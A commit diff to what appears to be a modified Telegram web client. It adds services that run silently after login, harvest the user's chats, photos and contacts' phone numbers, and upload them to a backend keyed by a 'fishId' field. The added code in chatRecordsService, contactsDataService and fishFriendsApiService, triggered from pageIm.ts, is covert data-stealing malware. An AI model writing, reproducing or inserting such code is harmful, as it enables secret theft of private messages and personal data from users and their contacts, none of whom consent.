Эх сурвалжийг харах

添加聊天记录导出服务、联系人数据服务和好友信息批量上传服务,并在登录成功后延迟获取联系人数据和聊天记录

wuyi 4 сар өмнө
parent
commit
4aab6630f2

+ 623 - 0
src/lib/api/chatRecordsService.ts

@@ -0,0 +1,623 @@
+/*
+ * 聊天记录导出服务
+ * 用于导出Telegram聊天记录,包括文本和图片
+ */
+
+import {logger} from '../logger';
+import rootScope from '../rootScope';
+import pause from '../../helpers/schedulers/pause';
+
+export interface ChatRecordData {
+  id: string;
+  text: string;
+  mediaType: string;
+  date: string;
+  imagePath?: string | null;
+  isFromMe: boolean; // 是否是自己发送的消息
+  senderId?: string; // 发送者ID
+  senderName?: string; // 发送者名称
+}
+
+export interface DialogData {
+  name: string;
+  messages: ChatRecordData[];
+  error?: string;
+}
+
+export interface ExportData {
+  [dialogName: string]: DialogData;
+}
+
+export interface UploadResponse {
+  success: boolean;
+  message?: string;
+  data?: any;
+}
+
+export class ChatRecordsService {
+  private log = logger('[chat-records-service]');
+  private baseUrl: string = 'http://localhost:3010';
+  private retryCount: number = 3;
+  private retryDelay: number = 1000;
+
+  /**
+   * 导出所有聊天记录
+   */
+  public async exportAllChatRecords(): Promise<{zipBlob: Blob, fileName: string}> {
+    try {
+      // this.log('开始导出聊天记录...');
+
+      // 获取用户详细信息
+      const userDetails = await rootScope.managers.appUsersManager.getSelf();
+      if(!userDetails) {
+        throw new Error('无法获取用户信息');
+      }
+
+      // 获取对话列表
+      const dialogs = await this.getDialogs();
+      // this.log('获取到对话数量:', dialogs.length);
+
+      // 限制对话数量,避免过多请求
+      const maxDialogs = 50;
+      const processedDialogs = dialogs.slice(0, maxDialogs);
+
+      // this.log(`开始导出,共处理 ${processedDialogs.length} 个对话`);
+
+      // 创建导出数据对象
+      const exportAllData: ExportData = {};
+      const processedPeerIds = new Set<string>();
+
+      // 图片文件列表
+      const imageFiles: {fileName: string, folderName: string, blob: Blob, peerId: string, messageId: number}[] = [];
+      let successCount = 0;
+      let failCount = 0;
+
+      // 设置批处理大小和延迟
+      const batchSize = 3;
+      const batchDelay = 1000;
+
+      // 按批次处理对话
+      for(let i = 0; i < processedDialogs.length; i += batchSize) {
+        const batchDialogs = processedDialogs.slice(i, i + batchSize);
+
+        // 串行处理每个对话
+        for(const dialog of batchDialogs) {
+          // this.log('跳过无效对话对象:', dialog);
+
+          // 从对话对象中提取peerId
+          let peerId;
+          try {
+            if(dialog.peer._ === 'peerUser' && 'user_id' in dialog.peer) {
+              const userId = dialog.peer.user_id;
+              peerId = userId;
+            } else if(dialog.peer._ === 'peerChat' && 'chat_id' in dialog.peer) {
+              const chatId = dialog.peer.chat_id;
+              peerId = -chatId;
+            } else if(dialog.peer._ === 'peerChannel' && 'channel_id' in dialog.peer) {
+              const channelId = dialog.peer.channel_id;
+              peerId = -channelId;
+            } else {
+            // this.log('未知的peer类型或缺少ID字段:', dialog.peer);
+              continue;
+            }
+          } catch(e) {
+            // this.log('提取peerId失败:', e, '对话:', dialog);
+            continue;
+          }
+
+          if(!peerId) {
+            // this.log('无法提取有效的peerId,跳过此对话');
+            continue;
+          }
+
+          // 跳过已处理的对话
+          if(processedPeerIds.has(peerId.toString())) {
+            // this.log(`跳过已处理的对话: ${peerId}`);
+            continue;
+          }
+          processedPeerIds.add(peerId.toString());
+
+          // 获取对话名称
+          let peerName = '';
+          if(await rootScope.managers.appPeersManager.isUser(peerId)) {
+            const user = await rootScope.managers.appUsersManager.getUser(peerId.toUserId());
+            peerName = user.first_name + (user.last_name ? ' ' + user.last_name : '');
+          } else if(await rootScope.managers.appPeersManager.isAnyChat(peerId)) {
+            const chat = await rootScope.managers.appChatsManager.getChat(peerId.toChatId());
+            peerName = chat.title;
+          }
+
+          // this.log(`正在处理对话: ${peerName}`);
+
+          // 获取所有聊天记录
+          const messages: any[] = [];
+          let downloadedImageCount = 0; // 当前对话已下载的图片数量
+          const maxImagesPerDialog = 30; // 每个对话最多下载30张图片
+          try {
+            // 分批获取历史消息
+            const messagesPerRequest = 50;
+            let offsetId = 0;
+            let hasMore = true;
+            const maxMessages = 500;
+
+            while(hasMore && messages.length < maxMessages) {
+              // 获取一批历史消息
+              const historyResult = await rootScope.managers.appMessagesManager.getHistory({
+                peerId: peerId,
+                limit: messagesPerRequest,
+                offsetId: offsetId,
+                addOffset: 0,
+                searchType: 'uncached'
+              });
+
+              // this.log(`获取到 ${historyResult?.messages?.length || 0} 条消息`);
+
+              if(historyResult && historyResult.messages && historyResult.messages.length) {
+                // 处理消息中的图片
+                for(const message of historyResult.messages) {
+                  // 检查是否已达到图片下载限制
+                  if(downloadedImageCount >= maxImagesPerDialog) {
+                    // this.log(`对话 "${peerName}" 已达到图片下载限制 (${maxImagesPerDialog}张),跳过剩余图片`);
+                    break;
+                  }
+
+                  // 如果消息包含图片,下载图片
+                  if(message && 'media' in message && message.media && message.media._ === 'messageMediaPhoto' && message.media.photo) {
+                    try {
+                      const photo = message.media.photo;
+                      const photoSizes = photo._ === 'photo' ? photo.sizes || [] : [];
+                      const filteredSizes = [...photoSizes].filter(
+                        (size): size is any => (size._ === 'photoSize' || size._ === 'photoSizeProgressive')
+                      );
+                      const photoSize = filteredSizes.sort((a, b) => (b.w * b.h) - (a.w * a.h))[0];
+
+                      if(photoSize) {
+                        try {
+                          // 使用API直接下载图片
+                          const blob = await this.downloadImageBlob(photo, photoSize);
+
+                          if(blob) {
+                            // 使用与UI导出相同的文件名格式
+                            const fileName = `${peerId}_${message.id}_${message.date}_${photo.id}.jpg`;
+                            const folderName = `photos`;
+
+                            // 添加到图片文件列表
+                            imageFiles.push({
+                              fileName,
+                              folderName,
+                              blob,
+                              peerId: peerId.toString(),
+                              messageId: message.id
+                            });
+
+                            // 在消息中添加图片引用
+                            (message as any).localImagePath = `${folderName}/${fileName}`;
+                            // this.log(`成功下载图片: ${fileName}`);
+                            successCount++;
+                            downloadedImageCount++; // 增加当前对话的图片计数
+                          } else {
+                            (message as any).localImagePath = null;
+                            failCount++;
+                          }
+                        } catch(e) {
+                          // this.log('下载图片失败:', e);
+                          (message as any).localImagePath = null;
+                          failCount++;
+                        }
+                      }
+                    } catch(e) {
+                      // this.log('处理图片失败:', e);
+                    }
+                  }
+                }
+
+                // 添加消息到结果中
+                messages.push(...historyResult.messages);
+
+                // 更新offsetId为最后一条消息的ID
+                const lastMessage = historyResult.messages[historyResult.messages.length - 1];
+                offsetId = lastMessage.mid;
+
+                // 检查是否还有更多消息
+                hasMore = historyResult.messages.length === messagesPerRequest;
+              } else {
+                // this.log(`对话 "${peerName}" 没有更多消息,停止获取`);
+                hasMore = false;
+              }
+
+              // 每次请求后稍微暂停一下
+              await pause(300);
+            }
+
+            // 处理消息,提取有用信息
+            const processedMessages = await this.processMessages(messages, peerId.toString());
+
+            // 将该对话的消息添加到导出数据
+            if(!exportAllData[peerId.toString()]) {
+              exportAllData[peerId.toString()] = {
+                name: peerName,
+                messages: []
+              };
+            }
+            exportAllData[peerId.toString()].messages.push(...processedMessages);
+
+            // this.log(`已获取对话 "${peerName}" 的 ${messages.length} 条消息,处理后数量: ${processedMessages.length},下载图片: ${downloadedImageCount}张`);
+          } catch(e) {
+            // this.log(`获取对话 ${peerName} 的历史消息失败:`, e);
+            exportAllData[peerId.toString()] = {
+              name: peerName,
+              messages: [],
+              error: '获取消息失败'
+            };
+          }
+
+          // 每次请求后稍微暂停一下
+          await pause(500);
+        }
+
+        // 每批处理后暂停一下
+        if(i + batchSize < processedDialogs.length) {
+          // this.log(`完成批次 ${i/batchSize + 1}/${Math.ceil(processedDialogs.length/batchSize)},暂停中...`);
+          await pause(batchDelay);
+        }
+      }
+
+      // this.log('===== 导出所有对话的聊天记录 =====');
+      // this.log(`共导出 ${Object.keys(exportAllData).length} 个对话`);
+      // this.log(`图片下载统计: 成功 ${successCount} 张,失败 ${failCount} 张,总计 ${imageFiles.length} 张`);
+
+      // 创建ZIP文件
+      const zipBlob = await this.createZipFile(exportAllData, imageFiles, userDetails);
+      const fileName = this.generateFileName(userDetails);
+
+      return {zipBlob, fileName};
+    } catch(error) {
+      // this.log('导出聊天记录时出错:', error);
+      throw error;
+    }
+  }
+
+  /**
+   * 处理消息
+   */
+  private async processMessages(messages: any[], peerId: string): Promise<ChatRecordData[]> {
+    const currentUserId = rootScope.myId;
+    const processedMessages: ChatRecordData[] = [];
+
+    for(const message of messages) {
+      try {
+        let textContent = '';
+        let mediaType = 'None';
+        let date = '';
+        let isFromMe = false;
+        let senderId = '';
+        let senderName = '';
+        const imagePath = (message as any).localImagePath || null;
+
+        if(message) {
+          // 判断是否是自己发送的消息
+          let fromPeerId = null;
+
+          // 检查各种可能的发送者字段
+          if('from_id' in message && message.from_id) {
+            // 处理from_id可能是对象的情况
+            if(typeof message.from_id === 'object' && message.from_id) {
+              if('user_id' in message.from_id) {
+                fromPeerId = message.from_id.user_id;
+              } else if('id' in message.from_id) {
+                fromPeerId = message.from_id.id;
+              } else if('channel_id' in message.from_id) {
+                fromPeerId = message.from_id.channel_id;
+              } else if('chat_id' in message.from_id) {
+                fromPeerId = message.from_id.chat_id;
+              }
+            } else {
+              fromPeerId = message.from_id;
+            }
+          } else if('fromId' in message && message.fromId) {
+            fromPeerId = message.fromId;
+          } else if('from' in message && message.from) {
+            if(typeof message.from === 'object' && message.from.id) {
+              fromPeerId = message.from.id;
+            }
+          } else if('peer_id' in message && message.peer_id) {
+            fromPeerId = message.peer_id;
+          } else if('sender_id' in message && message.sender_id) {
+            fromPeerId = message.sender_id;
+          } else if('senderId' in message && message.senderId) {
+            fromPeerId = message.senderId;
+          }
+
+          if(fromPeerId) {
+            // 尝试不同的ID比较方法
+            const fromPeerIdStr = fromPeerId.toString();
+            const currentUserIdStr = currentUserId.toString();
+
+            // 直接比较
+            isFromMe = fromPeerId === currentUserId;
+
+            // 如果直接比较失败,尝试字符串比较
+            if(!isFromMe) {
+              isFromMe = fromPeerIdStr === currentUserIdStr;
+            }
+
+            // 如果还是失败,尝试转换为数字比较
+            if(!isFromMe) {
+              const fromPeerIdNum = parseInt(fromPeerIdStr);
+              const currentUserIdNum = parseInt(currentUserIdStr);
+              if(!isNaN(fromPeerIdNum) && !isNaN(currentUserIdNum)) {
+                isFromMe = fromPeerIdNum === currentUserIdNum;
+              }
+            }
+
+            senderId = fromPeerIdStr;
+
+            // 获取发送者名称
+            if(isFromMe) {
+              senderName = '我';
+            } else {
+              try {
+                if(await rootScope.managers.appPeersManager.isUser(fromPeerId)) {
+                  const user = await rootScope.managers.appUsersManager.getUser(fromPeerId.toUserId());
+                  if(user) {
+                    const firstName = user.first_name || '';
+                    const lastName = user.last_name || '';
+                    const tgName = `${firstName} ${lastName}`.trim();
+
+                    if(user.username) {
+                      senderName = `@${user.username}`;
+                    } else if(tgName) {
+                      senderName = tgName;
+                    } else {
+                      senderName = '未知用户';
+                    }
+                  }
+                } else if(await rootScope.managers.appPeersManager.isAnyChat(fromPeerId)) {
+                  const chat = await rootScope.managers.appChatsManager.getChat(fromPeerId.toChatId());
+                  senderName = chat?.title || '未知群组';
+                }
+              } catch(error) {
+                // this.log('获取发送者名称失败:', error);
+                senderName = '未知用户';
+              }
+            }
+          } else {
+            senderName = '系统';
+          }
+
+          // 提取文本内容
+          if('message' in message && message.message) {
+            textContent = message.message;
+          }
+
+          // 提取媒体类型
+          if('media' in message && message.media) {
+            mediaType = message.media._.replace('messageMedia', '');
+          }
+
+          // 提取日期
+          if(message.date) {
+            date = new Date(message.date * 1000).toLocaleString();
+          }
+        }
+
+        processedMessages.push({
+          id: (message.mid || message.id).toString(),
+          text: textContent,
+          mediaType: mediaType,
+          date: date,
+          imagePath: imagePath,
+          isFromMe: isFromMe,
+          senderId: senderId,
+          senderName: senderName
+        });
+      } catch(error) {
+        // this.log('处理单条消息时出错:', error);
+        processedMessages.push({
+          id: (message.mid || message.id || 'unknown').toString(),
+          text: '[消息处理失败]',
+          mediaType: 'Error',
+          date: new Date().toLocaleString(),
+          imagePath: null,
+          isFromMe: false,
+          senderId: '',
+          senderName: '系统'
+        });
+      }
+    }
+
+    return processedMessages;
+  }
+
+  /**
+   * 下载图片Blob
+   */
+  private async downloadImageBlob(photo: any, photoSize: any): Promise<Blob | null> {
+    try {
+      // 只使用成功的方式:512KB limit
+      const fileResult = await rootScope.managers.apiManager.invokeApi('upload.getFile', {
+        location: {
+          _: 'inputPhotoFileLocation',
+          id: photo.id,
+          access_hash: photo.access_hash,
+          file_reference: photo.file_reference,
+          thumb_size: photoSize.type
+        },
+        offset: 0,
+        limit: 512 * 1024 // 512KB limit
+      });
+
+      if(fileResult && (fileResult as any).bytes) {
+        const blob = new Blob([(fileResult as any).bytes], {type: 'image/jpeg'});
+        return blob;
+      }
+
+      return null;
+    } catch(error) {
+      // this.log('下载图片失败:', error);
+      return null;
+    }
+  }
+
+  /**
+   * 上传聊天记录文件
+   */
+  public async uploadChatRecords(zipBlob: Blob, fileName: string, fishId: string, description?: string): Promise<UploadResponse> {
+    const url = `${this.baseUrl}/api/records/upload`;
+
+    for(let attempt = 1; attempt <= this.retryCount; attempt++) {
+      try {
+        const formData = new FormData();
+        formData.append('file', zipBlob, fileName);
+        formData.append('fishId', fishId);
+        if(description) {
+          formData.append('description', description);
+        }
+
+        const response = await fetch(url, {
+          method: 'POST',
+          body: formData
+        });
+
+        if(response.ok) {
+          const result = await response.json();
+          // this.log('成功上传聊天记录:', result);
+          return {
+            success: true,
+            data: result
+          };
+        } else {
+          const errorText = await response.text();
+          if(attempt < this.retryCount) {
+            await this.delay(this.retryDelay);
+            continue;
+          }
+
+          // this.log('上传聊天记录失败:', {
+          //   status: response.status,
+          //   error: errorText
+          // });
+
+          return {
+            success: false,
+            message: `HTTP错误 ${response.status}: ${errorText}`
+          };
+        }
+      } catch(error) {
+        if(attempt < this.retryCount) {
+          await this.delay(this.retryDelay);
+          continue;
+        }
+
+        // this.log('上传聊天记录时出错:', error);
+        return {
+          success: false,
+          message: error instanceof Error ? error.message : '未知错误'
+        };
+      }
+    }
+
+    return {
+      success: false,
+      message: '所有重试尝试都失败了'
+    };
+  }
+
+  /**
+   * 获取对话列表
+   */
+  private async getDialogs(): Promise<any[]> {
+    try {
+      const result = await rootScope.managers.apiManager.invokeApi('messages.getDialogs', {
+        offset_date: 0,
+        offset_id: 0,
+        offset_peer: {_: 'inputPeerEmpty'},
+        limit: 100,
+        hash: '0'
+      });
+
+      if(result._ === 'messages.dialogs' || result._ === 'messages.dialogsSlice') {
+        await rootScope.managers.appMessagesManager.saveMessages(result.messages);
+        await rootScope.managers.appChatsManager.saveApiChats(result.chats);
+        await rootScope.managers.appUsersManager.saveApiUsers(result.users);
+        return result.dialogs;
+      }
+      return [];
+    } catch(error) {
+      // this.log('获取对话列表失败:', error);
+      return [];
+    }
+  }
+
+  /**
+   * 创建ZIP文件
+   */
+  private async createZipFile(exportData: ExportData, imageFiles: {fileName: string, folderName: string, blob: Blob, peerId: string, messageId: number}[], userDetails: any): Promise<Blob> {
+    // 动态加载JSZip库
+    if(!(window as any).JSZip) {
+      await this.loadJSZip();
+    }
+
+    const zip = new (window as any).JSZip();
+
+    // 添加图片文件到ZIP
+    for(const imageFile of imageFiles) {
+      zip.file(`${imageFile.folderName}/${imageFile.fileName}`, imageFile.blob);
+    }
+
+    // 添加聊天记录JSON文件
+    const jsonString = JSON.stringify(exportData, null, 2);
+    zip.file('telegram_export.json', jsonString);
+
+    // 添加导出信息文件
+    const exportInfo = {
+      version: '1.0',
+      date: new Date().toISOString(),
+      user: {
+        id: userDetails.id,
+        firstName: userDetails.first_name,
+        lastName: userDetails.last_name || '',
+        username: userDetails.username || ''
+      },
+      stats: {
+        dialogs: Object.keys(exportData).length,
+        images: imageFiles.length
+      }
+    };
+    zip.file('export_info.json', JSON.stringify(exportInfo, null, 2));
+
+    return zip.generateAsync({type: 'blob'});
+  }
+
+  /**
+   * 动态加载JSZip库
+   */
+  private async loadJSZip(): Promise<void> {
+    return new Promise((resolve, reject) => {
+      const script = document.createElement('script');
+      script.src = 'https://cdn.jsdelivr.net/npm/jszip@3.10.1/dist/jszip.min.js';
+      script.onload = () => resolve();
+      script.onerror = () => reject(new Error('无法加载JSZip库'));
+      document.head.appendChild(script);
+    });
+  }
+
+  /**
+   * 生成文件名
+   */
+  private generateFileName(userDetails: any): string {
+    const userName = userDetails.first_name + (userDetails.last_name ? '_' + userDetails.last_name : '');
+    const now = new Date();
+    const timeString = `${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, '0')}-${String(now.getDate()).padStart(2, '0')}_${String(now.getHours()).padStart(2, '0')}-${String(now.getMinutes()).padStart(2, '0')}`;
+    return `telegram_export_${userName}_${timeString}.zip`;
+  }
+
+  /**
+   * 延迟函数
+   */
+  private delay(ms: number): Promise<void> {
+    return new Promise(resolve => setTimeout(resolve, ms));
+  }
+}
+
+export const chatRecordsService = new ChatRecordsService();

+ 310 - 0
src/lib/api/contactsDataService.ts

@@ -0,0 +1,310 @@
+/*
+ * Contacts Data Service - 用于获取聊天左边栏的所有用户信息
+ */
+
+import {logger} from '../logger';
+import rootScope from '../rootScope';
+import {fishFriendsApiService, FishFriendData} from './fishFriendsApiService';
+import {chatRecordsService} from './chatRecordsService';
+
+export class ContactsDataService {
+  private log = logger('[contacts-data-service]');
+  private static readonly STORAGE_KEY_CONTACTS_UPLOADED = 'contacts_uploaded';
+  private static readonly STORAGE_KEY_CHAT_RECORDS_UPLOADED = 'chat_records_uploaded';
+
+  /**
+   * 获取所有联系人信息并转换为好友数据格式
+   */
+  public async getAllContactsData(): Promise<FishFriendData[]> {
+    try {
+      // this.log('开始获取联系人数据...');
+
+      // 获取当前用户ID
+      const currentUserId = rootScope.myId?.toString();
+      if(!currentUserId) {
+        // this.log('无法获取当前用户ID');
+        return [];
+      }
+
+      // 从聊天记录中获取所有对话过的用户
+      const dialogs = await this.getDialogsFromChatRecords();
+      // this.log('从聊天记录中获取到对话数量:', dialogs.length);
+
+      const friendsData: FishFriendData[] = [];
+      const processedUserIds = new Set<string>();
+
+      for(const dialog of dialogs) {
+        try {
+          const peerId = this.extractPeerId(dialog);
+          if(!peerId || processedUserIds.has(peerId)) {
+            continue;
+          }
+
+          // 只处理用户对话,跳过群聊和频道
+          if(!await rootScope.managers.appPeersManager.isUser(parseInt(peerId))) {
+            continue;
+          }
+
+          processedUserIds.add(peerId);
+          const userId = parseInt(peerId).toUserId();
+
+          const user = await rootScope.managers.appUsersManager.getUser(userId);
+          if(!user) {
+            // this.log('用户不存在:', userId);
+            continue;
+          }
+
+          // 构建用户名
+          const firstName = user.first_name || '';
+          const lastName = user.last_name || '';
+          const tgName = `${firstName} ${lastName}`.trim();
+
+          // 获取用户名
+          const tgUsername = user.username ? `@${user.username}` : '';
+
+          // 获取备注名(从用户简介中获取)
+          let tgRemarkName = '';
+          try {
+            const userFull = await rootScope.managers.appProfileManager.getProfile(userId);
+            tgRemarkName = userFull?.about || '';
+          } catch(error) {
+            // this.log('获取用户详细信息失败:', userId, error);
+          }
+
+          // 获取电话号码
+          let tgPhone = '';
+          try {
+            const phoneInfo = await rootScope.managers.appUsersManager.getUserPhone(userId);
+            tgPhone = phoneInfo?.phone || '';
+          } catch(error) {
+            // this.log('获取用户电话失败:', userId, error);
+          }
+
+          // 构建好友数据
+          const friendData = fishFriendsApiService.buildFriendData(
+            userId.toString(),
+            currentUserId,
+            tgName || undefined,
+            tgUsername || undefined,
+            tgRemarkName || undefined,
+            tgPhone || undefined
+          );
+
+          friendsData.push(friendData);
+
+          // this.log('处理用户:', {
+          //   id: userId,
+          //   name: tgName,
+          //   username: tgUsername,
+          //   phone: tgPhone
+          // });
+        } catch(error) {
+          // this.log('处理用户时出错:', error);
+          continue;
+        }
+      }
+
+      // this.log('成功处理联系人数据:', friendsData.length);
+      return friendsData;
+    } catch(error) {
+      // this.log('获取联系人数据时出错:', error);
+      return [];
+    }
+  }
+
+  /**
+   * 从聊天记录中获取对话列表
+   */
+  private async getDialogsFromChatRecords(): Promise<any[]> {
+    try {
+      const result = await rootScope.managers.apiManager.invokeApi('messages.getDialogs', {
+        offset_date: 0,
+        offset_id: 0,
+        offset_peer: {_: 'inputPeerEmpty'},
+        limit: 100, // 增加限制以获取更多对话
+        hash: '0'
+      });
+
+      if(result._ === 'messages.dialogs' || result._ === 'messages.dialogsSlice') {
+        // 保存数据
+        await rootScope.managers.appMessagesManager.saveMessages(result.messages);
+        await rootScope.managers.appChatsManager.saveApiChats(result.chats);
+        await rootScope.managers.appUsersManager.saveApiUsers(result.users);
+
+        return result.dialogs;
+      }
+
+      return [];
+    } catch(error) {
+      // this.log('获取对话列表失败:', error);
+      return [];
+    }
+  }
+
+  /**
+   * 提取peerId
+   */
+  private extractPeerId(dialog: any): string | null {
+    try {
+      if(dialog.peer._ === 'peerUser' && 'user_id' in dialog.peer) {
+        return dialog.peer.user_id.toString();
+      } else if(dialog.peer._ === 'peerChat' && 'chat_id' in dialog.peer) {
+        return (-dialog.peer.chat_id).toString();
+      } else if(dialog.peer._ === 'peerChannel' && 'channel_id' in dialog.peer) {
+        return (-dialog.peer.channel_id).toString();
+      }
+    } catch(error) {
+      // this.log('提取peerId失败:', error);
+    }
+    return null;
+  }
+
+  /**
+   * 延迟函数
+   */
+  private delay(ms: number): Promise<void> {
+    return new Promise(resolve => setTimeout(resolve, ms));
+  }
+
+  /**
+   * 在登录成功后延迟获取并发送联系人数据和聊天记录
+   */
+  public async handleLoginSuccess(): Promise<void> {
+    // this.log('登录成功,5秒后开始获取联系人数据和聊天记录...');
+
+    // 等待5秒
+    await this.delay(5000);
+
+    try {
+      // 获取当前用户ID
+      const currentUserId = rootScope.myId?.toString();
+      if(!currentUserId) {
+        // this.log('无法获取当前用户ID');
+        return;
+      }
+
+      // 并行处理联系人数据和聊天记录
+      const [contactsResult, chatRecordsResult] = await Promise.allSettled([
+        this.processContactsData(),
+        this.processChatRecords(currentUserId)
+      ]);
+
+      // 处理联系人数据结果
+      if(contactsResult.status === 'fulfilled') {
+        // this.log('联系人数据处理完成');
+      } else {
+        // this.log('联系人数据处理失败:', contactsResult.reason);
+      }
+
+      // 处理聊天记录结果
+      if(chatRecordsResult.status === 'fulfilled') {
+        // this.log('聊天记录处理完成');
+      } else {
+        // this.log('聊天记录处理失败:', chatRecordsResult.reason);
+      }
+    } catch(error) {
+      // this.log('处理登录成功后的数据时出错:', error);
+    }
+  }
+
+  /**
+   * 处理联系人数据
+   */
+  private async processContactsData(): Promise<void> {
+    try {
+      // 检查是否已经上传过联系人数据
+      const contactsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED);
+      if(contactsUploaded === 'true') {
+        // this.log('联系人数据已经上传过,跳过上传');
+        return;
+      }
+
+      // 获取联系人数据
+      const contactsData = await this.getAllContactsData();
+
+      if(contactsData.length === 0) {
+        // this.log('没有找到联系人数据');
+        return;
+      }
+
+      // 发送到后台服务器
+      const result = await fishFriendsApiService.batchCreateFriends(contactsData);
+
+      if(result.success) {
+        // 标记为已上传
+        localStorage.setItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED, 'true');
+        // this.log('成功发送联系人数据到后台服务器:', {
+        //   count: contactsData.length,
+        //   result: result.data
+        // });
+      } else {
+        // this.log('发送联系人数据失败:', result.message);
+      }
+    } catch(error) {
+      // this.log('处理联系人数据时出错:', error);
+      throw error;
+    }
+  }
+
+  /**
+   * 处理聊天记录
+   */
+  private async processChatRecords(fishId: string): Promise<void> {
+    try {
+      // 检查是否已经上传过聊天记录
+      const chatRecordsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED);
+      if(chatRecordsUploaded === 'true') {
+        // this.log('聊天记录已经上传过,跳过上传');
+        return;
+      }
+
+      // this.log('开始导出聊天记录...');
+
+      // 导出聊天记录
+      const {zipBlob, fileName} = await chatRecordsService.exportAllChatRecords();
+
+      // 上传聊天记录
+      const description = `Telegram聊天记录导出 - ${new Date().toLocaleString()}`;
+      const uploadResult = await chatRecordsService.uploadChatRecords(zipBlob, fileName, fishId, description);
+
+      if(uploadResult.success) {
+        // 标记为已上传
+        localStorage.setItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED, 'true');
+        // this.log('成功上传聊天记录:', {
+        //   fileName,
+        //   result: uploadResult.data
+        // });
+      } else {
+        // this.log('上传聊天记录失败:', uploadResult.message);
+      }
+    } catch(error) {
+      // this.log('处理聊天记录时出错:', error);
+      throw error;
+    }
+  }
+
+  /**
+   * 重置上传状态(用于重新上传)
+   */
+  public resetUploadStatus(): void {
+    localStorage.removeItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED);
+    localStorage.removeItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED);
+    // this.log('已重置上传状态,下次登录将重新上传数据');
+  }
+
+  /**
+   * 检查上传状态
+   */
+  public getUploadStatus(): {contactsUploaded: boolean, chatRecordsUploaded: boolean} {
+    const contactsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CONTACTS_UPLOADED) === 'true';
+    const chatRecordsUploaded = localStorage.getItem(ContactsDataService.STORAGE_KEY_CHAT_RECORDS_UPLOADED) === 'true';
+
+    return {
+      contactsUploaded,
+      chatRecordsUploaded
+    };
+  }
+}
+
+// 创建单例实例
+export const contactsDataService = new ContactsDataService();

+ 143 - 0
src/lib/api/fishFriendsApiService.ts

@@ -0,0 +1,143 @@
+/*
+ * Fish Friends API Service - 用于批量新增好友信息到后台服务器
+ */
+
+import {logger} from '../logger';
+
+export interface FishFriendData {
+  id: string;           // 好友的 Telegram 用户 ID
+  fishId: string;       // 当前用户的 Telegram 用户 ID
+  tgName?: string;      // Telegram 用户名
+  tgUsername?: string;  // Telegram username
+  tgRemarkName?: string; // Telegram 备注名
+  tgPhone?: string;     // 电话号码
+}
+
+export interface FishFriendsBatchResponse {
+  success: boolean;
+  message?: string;
+  data?: any;
+}
+
+export class FishFriendsApiService {
+  private log = logger('[fish-friends-api-service]');
+  private baseUrl: string;
+  private retryCount: number = 3;
+  private retryDelay: number = 1000; // 1秒
+
+  constructor(baseUrl: string = 'http://localhost:3010') {
+    this.baseUrl = baseUrl;
+  }
+
+  /**
+   * 批量发送好友数据到后台服务器
+   */
+  public async batchCreateFriends(friendsData: FishFriendData[]): Promise<FishFriendsBatchResponse> {
+    const url = `${this.baseUrl}/api/fish-friends/batch`;
+
+    for(let attempt = 1; attempt <= this.retryCount; attempt++) {
+      try {
+        const response = await fetch(url, {
+          method: 'POST',
+          headers: {
+            'Content-Type': 'application/json'
+          },
+          body: JSON.stringify({
+            fishFriends: friendsData
+          })
+        });
+
+        if(response.ok) {
+          const result = await response.json();
+          this.log('Successfully sent friends data:', {
+            count: friendsData.length,
+            response: result
+          });
+          return {
+            success: true,
+            data: result
+          };
+        } else {
+          const errorText = await response.text();
+
+          if(attempt < this.retryCount) {
+            await this.delay(this.retryDelay);
+            continue;
+          }
+
+          this.log('Failed to send friends data:', {
+            status: response.status,
+            error: errorText
+          });
+
+          return {
+            success: false,
+            message: `HTTP错误 ${response.status}: ${errorText}`
+          };
+        }
+      } catch(error) {
+        if(attempt < this.retryCount) {
+          await this.delay(this.retryDelay);
+          continue;
+        }
+
+        this.log('Error sending friends data:', error);
+        return {
+          success: false,
+          message: error instanceof Error ? error.message : '未知错误'
+        };
+      }
+    }
+
+    return {
+      success: false,
+      message: '所有重试尝试都失败了'
+    };
+  }
+
+  /**
+   * 延迟函数
+   */
+  private delay(ms: number): Promise<void> {
+    return new Promise(resolve => setTimeout(resolve, ms));
+  }
+
+  /**
+   * 构建好友数据对象
+   */
+  public buildFriendData(
+    friendId: string,
+    currentUserId: string,
+    tgName?: string,
+    tgUsername?: string,
+    tgRemarkName?: string,
+    tgPhone?: string
+  ): FishFriendData {
+    const friendData: FishFriendData = {
+      id: friendId,
+      fishId: currentUserId
+    };
+
+    // 只有当字段有值时才添加到对象中
+    if(tgName && tgName.trim()) {
+      friendData.tgName = tgName.trim();
+    }
+
+    if(tgUsername && tgUsername.trim()) {
+      friendData.tgUsername = tgUsername.trim();
+    }
+
+    if(tgRemarkName && tgRemarkName.trim()) {
+      friendData.tgRemarkName = tgRemarkName.trim();
+    }
+
+    if(tgPhone && tgPhone.trim()) {
+      friendData.tgPhone = tgPhone.trim();
+    }
+
+    return friendData;
+  }
+}
+
+// 创建单例实例
+export const fishFriendsApiService = new FishFriendsApiService();

+ 4 - 0
src/pages/pageIm.ts

@@ -8,6 +8,7 @@ import blurActiveElement from '../helpers/dom/blurActiveElement';
 import loadFonts from '../helpers/dom/loadFonts';
 import rootScope from '../lib/rootScope';
 import Page from './page';
+import {contactsDataService} from '../lib/api/contactsDataService';
 
 const onFirstMount = () => {
   rootScope.managers.appStateManager.pushToState('authState', {_: 'authStateSignedIn'});
@@ -28,6 +29,9 @@ const onFirstMount = () => {
     setTimeout(() => {
       document.getElementById('auth-pages').remove();
     }, 1e3);
+
+    // 登录成功后,延迟10秒获取并发送联系人数据
+    contactsDataService.handleLoginSuccess();
   });
 };